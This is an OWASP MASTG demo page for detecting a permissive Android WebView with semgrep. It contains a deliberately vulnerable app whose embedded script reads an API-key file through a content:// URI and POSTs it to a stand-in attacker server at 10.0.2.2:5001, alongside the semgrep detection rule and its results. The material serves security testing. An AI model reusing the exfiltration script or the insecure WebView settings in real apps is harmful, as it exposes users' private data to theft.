Skip to content

MASTG-DEMO-0029: Uses of WebViews Allowing Content Access with semgrep

Download MASTG-DEMO-0029 APK Open MASTG-DEMO-0029 Folder Build MASTG-DEMO-0029 APK

Sample

This sample demonstrates how a WebView in an Android app, when configured to allow content access, can be exploited by an attacker to interact with exposed content:// URIs. While content:// URIs are simply interfaces to content providers, a misconfigured or overly permissive content provider may grant access to sensitive resources—such as internal app files. In this example, internal file access is used as a representative impact to illustrate the full attack chain, though actual impacts depend on the specific behavior of the content provider.

In this demo we focus on the static analysis of the code using semgrep and don't run the app nor the attacker server.

See Uses of WebViews Allowing Content Access with Frida for all the details about the sample and the attack.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
package org.owasp.mastestapp

import android.content.Context
import android.webkit.WebView
import java.io.*

/**
 * This class writes a sensitive file ("api-key.txt") into internal storage and then loads a vulnerable
 * page into a WebView. That page simulates an XSS injection:
 * an attacker's script (running in the context of the vulnerable page) makes an `XMLHttpRequest` to
 * read the sensitive file via the content provider and then uses `fetch` to send the content to an external server.
 *
 * By loading the page with a `file://` base URL and enabling universal access from file URLs,
 * we relax the default restriction (which would otherwise treat `content://` requests as opaque origin)
 * and allow the `XMLHttpRequest` to succeed.
 */
class MastgTestWebView(private val context: Context) {

    fun mastgTest(webView: WebView) {
        // Write a sensitive file (for example, cached credentials or private data).
        val sensitiveFile = File(context.filesDir, "api-key.txt")
        sensitiveFile.writeText("MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b")

        // Configure the WebView.
        webView.settings.apply {
            /* `javaScriptEnabled` is required for the attacker's script to even execute.
             * This is very common in WebViews, unless they only load static content.
            */
            javaScriptEnabled = true

            /* `allowUniversalAccessFromFileURLs` is required in this attack since it
             * relaxes the default restrictions so that pages loaded from file:// can access
             * content from any origin (including content:// URIs).
             *
             * If this is not set, the following error will be logged in logcat:
             *
             *   [INFO:CONSOLE(0)] "Access to XMLHttpRequest at 'content://org.owasp.mastestapp.provider/sensitive.txt'
             *   from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported
             *   for protocol schemes: http, data, chrome, https, chrome-untrusted.", source: file:/// (0)
             *
             * Note that the fetch to the external server will still work, but the retrieval of the file content via content:// will fail.
            */
            allowUniversalAccessFromFileURLs = true


            /* `allowContentAccess` is intentionally not set to false to showcase the default behavior.
             * If we were to disable content provider access,
             * this would prevent the attacker's script from accessing the sensitive file via the content provider.
             */
            // allowContentAccess = false

        }

        // Vulnerable HTML simulating an XSS injection.
        // The attacker-injected script uses XMLHttpRequest to load the sensitive file from the content provider.
        val vulnerableHtml = """
            <html>
              <head>
                <meta charset="utf-8">
                <title>MASTG-DEMO-0029</title>
              </head>
              <body>
                <h1>MASTG-DEMO-0029</h1>
                <p>This HTML page is vulnerable to XSS. An attacker was able to inject JavaScript to exfiltrate data from the app internal storage using content:// URIs.</p>
                <p>The file is located in /data/data/org.owasp.mastestapp/files/</p>
                <p>NOTE: For demo purposes we display the exfiltrated data on screen. However, the user wouldn't even notice as the data is exfiltrated silently.</p>
                <script type="text/javascript">
                  function exfiltrate(data) {

                    var output = document.createElement("div");
                    output.style.color = "white";
                    output.style.borderRadius = "5px";
                    output.style.backgroundColor = "red";
                    output.style.padding = "1em";
                    output.style.marginTop = "1em";
                    output.innerHTML = "<strong>Exfiltrated Data:</strong><br>" + data;
                    document.body.appendChild(output);

                    // Send the text file content to the external server
                    fetch('http://10.0.2.2:5001/receive', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'text/plain'
                        },
                        body: data
                    })
                    .then(response => console.log('File content sent successfully.'))
                    .catch(err => console.error('Error sending file content:', err));
                  }
                  function readSensitiveFile() {
                    var xhr = new XMLHttpRequest();
                    xhr.onreadystatechange = function() {
                      if (xhr.readyState === 4) {
                        if (xhr.status === 200) {
                          exfiltrate(xhr.responseText);
                        } else {
                          exfiltrate("Error reading file: " + xhr.status);
                        }
                      }
                    };
                    // The injected script accesses the sensitive file via the content provider.
                    xhr.open("GET", "content://org.owasp.mastestapp.fileprovider/internal_files/api-key.txt", true);
                    xhr.send();
                  }
                  // Simulate the injected payload triggering.
                  readSensitiveFile();
                </script>
              </body>
            </html>
        """.trimIndent()


        // Load the vulnerable HTML.
        // Using a base URL with the file:// scheme gives the page a non‑opaque origin (using content:/// works the same way).
        webView.loadDataWithBaseURL(
            "file:///",
            vulnerableHtml,
            "text/html",
            "UTF-8",
            null
        )
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.owasp.mastestapp;

import android.content.Context;
import android.webkit.WebSettings;
import android.webkit.WebView;
import java.io.File;
import kotlin.Metadata;
import kotlin.io.FilesKt;
import kotlin.jvm.internal.Intrinsics;

/* compiled from: MastgTestWebView.kt */
@Metadata(d1 = {"\u0000\u001e\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\r\u0012\u0006\u0010\u0002\u001a\u00020\u0003¢\u0006\u0002\u0010\u0004J\u000e\u0010\u0005\u001a\u00020\u00062\u0006\u0010\u0007\u001a\u00020\bR\u000e\u0010\u0002\u001a\u00020\u0003X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006\t"}, d2 = {"Lorg/owasp/mastestapp/MastgTestWebView;", "", "context", "Landroid/content/Context;", "(Landroid/content/Context;)V", "mastgTest", "", "webView", "Landroid/webkit/WebView;", "app_debug"}, k = 1, mv = {1, 9, 0}, xi = 48)
/* loaded from: classes4.dex */
public final class MastgTestWebView {
    public static final int $stable = 8;
    private final Context context;

    public MastgTestWebView(Context context) {
        Intrinsics.checkNotNullParameter(context, "context");
        this.context = context;
    }

    public final void mastgTest(WebView webView) {
        Intrinsics.checkNotNullParameter(webView, "webView");
        File sensitiveFile = new File(this.context.getFilesDir(), "api-key.txt");
        FilesKt.writeText$default(sensitiveFile, "MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b", null, 2, null);
        WebSettings $this$mastgTest_u24lambda_u240 = webView.getSettings();
        $this$mastgTest_u24lambda_u240.setJavaScriptEnabled(true);
        $this$mastgTest_u24lambda_u240.setAllowUniversalAccessFromFileURLs(true);
        webView.loadDataWithBaseURL("file:///", "<html>\n  <head>\n    <meta charset=\"utf-8\">\n    <title>MASTG-DEMO-0029</title>\n  </head>\n  <body>\n    <h1>MASTG-DEMO-0029</h1>\n    <p>This HTML page is vulnerable to XSS. An attacker was able to inject JavaScript to exfiltrate data from the app internal storage using content:// URIs.</p>\n    <p>The file is located in /data/data/org.owasp.mastestapp/files/</p>\n    <p>NOTE: For demo purposes we display the exfiltrated data on screen. However, the user wouldn't even notice as the data is exfiltrated silently.</p>\n    <script type=\"text/javascript\">\n      function exfiltrate(data) {\n        \n        var output = document.createElement(\"div\");\n        output.style.color = \"white\";\n        output.style.borderRadius = \"5px\";\n        output.style.backgroundColor = \"red\";\n        output.style.padding = \"1em\";\n        output.style.marginTop = \"1em\";\n        output.innerHTML = \"<strong>Exfiltrated Data:</strong><br>\" + data;\n        document.body.appendChild(output);\n                \n        // Send the text file content to the external server\n        fetch('http://10.0.2.2:5001/receive', {\n            method: 'POST',\n            headers: {\n                'Content-Type': 'text/plain'\n            },\n            body: data\n        })\n        .then(response => console.log('File content sent successfully.'))\n        .catch(err => console.error('Error sending file content:', err));\n      }\n      function readSensitiveFile() {\n        var xhr = new XMLHttpRequest();\n        xhr.onreadystatechange = function() {\n          if (xhr.readyState === 4) {\n            if (xhr.status === 200) {\n              exfiltrate(xhr.responseText);\n            } else {\n              exfiltrate(\"Error reading file: \" + xhr.status);\n            }\n          }\n        };\n        // The injected script accesses the sensitive file via the content provider.\n        xhr.open(\"GET\", \"content://org.owasp.mastestapp.fileprovider/internal_files/api-key.txt\", true);\n        xhr.send();\n      }\n      // Simulate the injected payload triggering.\n      readSensitiveFile();\n    </script>\n  </body>\n</html>", "text/html", "UTF-8", null);
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="true"
        android:usesCleartextTraffic="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.MASTestApp"
        tools:targetApi="31">
        <activity
            android:name=".MainActivityWebView"
            android:exported="true"
            android:theme="@style/Theme.MASTestApp">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <provider
            android:name="androidx.core.content.FileProvider"
            android:authorities="org.owasp.mastestapp.fileprovider"
            android:exported="false"
            android:grantUriPermissions="true">
            <meta-data
                android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/filepaths" />
        </provider>

    </application>

</manifest>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="org.owasp.mastestapp" platformBuildVersionCode="34" platformBuildVersionName="14">
    <uses-permission android:name="android.permission.INTERNET"/>
    <permission android:name="org.owasp.mastestapp.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" android:protectionLevel="signature"/>
    <uses-permission android:name="org.owasp.mastestapp.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
    <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:debuggable="true" android:extractNativeLibs="false" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:testOnly="true" android:theme="@style/Theme.MASTestApp" android:usesCleartextTraffic="true">
        <activity android:exported="true" android:name="org.owasp.mastestapp.MainActivityWebView" android:theme="@style/Theme.MASTestApp">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <provider android:authorities="org.owasp.mastestapp.fileprovider" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider">
            <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/filepaths"/>
        </provider>
        <activity android:exported="true" android:name="androidx.compose.ui.tooling.PreviewActivity"/>
        <activity android:exported="true" android:name="androidx.activity.ComponentActivity"/>
        <provider android:authorities="org.owasp.mastestapp.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
            <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.profileinstaller.ProfileInstallerInitializer" android:value="androidx.startup"/>
        </provider>
        <receiver android:directBootAware="false" android:enabled="true" android:exported="true" android:name="androidx.profileinstaller.ProfileInstallReceiver" android:permission="android.permission.DUMP">
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>
1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <files-path name="internal_files" path="." />
</paths>

Steps

Run semgrep rules against the sample code.

../../../../rules/mastg-android-webview-allow-local-access.yml
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
rules:
  - id: mastg-android-webview-settings
    severity: INFO
    languages:
      - java
    metadata:
      summary: This rule detects WebView settings related to local file access and JavaScript execution.
    message: "[MASVS-PLATFORM-2] Detected WebView settings."
    pattern-either:
      - pattern: $WEBVIEW.getSettings(...);
      - pattern: $SETTINGS.setJavaScriptEnabled($ARG);
      - pattern: $SETTINGS.setAllowContentAccess($ARG);
      - pattern: $SETTINGS.setAllowFileAccessFromFileURLs($ARG);
      - pattern: $SETTINGS.setAllowFileAccess($ARG);
      - pattern: $SETTINGS.setAllowUniversalAccessFromFileURLs($ARG);
run.sh
1
NO_COLOR=true semgrep -c ../../../../rules/mastg-android-webview-allow-local-access.yml ./MastgTestWebView_reversed.java > output.txt

Observation

The output shows 4 results related to WebView configuration calls. However, it is important to note that the method setAllowContentAccess is not explicitly called in the code.

output.txt
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
┌─────────────────┐
 3 Code Findings 
└─────────────────┘

    MastgTestWebView_reversed.java
      rules.mastg-android-webview-settings
          [MASVS-PLATFORM-2] Detected WebView settings.

           27 WebSettings $this$mastgTest_u24lambda_u240 = webView.getSettings();
            ⋮┆----------------------------------------
           28 $this$mastgTest_u24lambda_u240.setJavaScriptEnabled(true);
            ⋮┆----------------------------------------
           29 $this$mastgTest_u24lambda_u240.setAllowUniversalAccessFromFileURLs(true);

Evaluation

The test fails due to the following WebView settings being configured:

evaluation.txt
1
2
3
setJavaScriptEnabled: True
setAllowContentAccess: True
setAllowUniversalAccessFromFileURLs: True

The method setAllowContentAccess is not explicitly called in the code, which means it remains at its default value (true).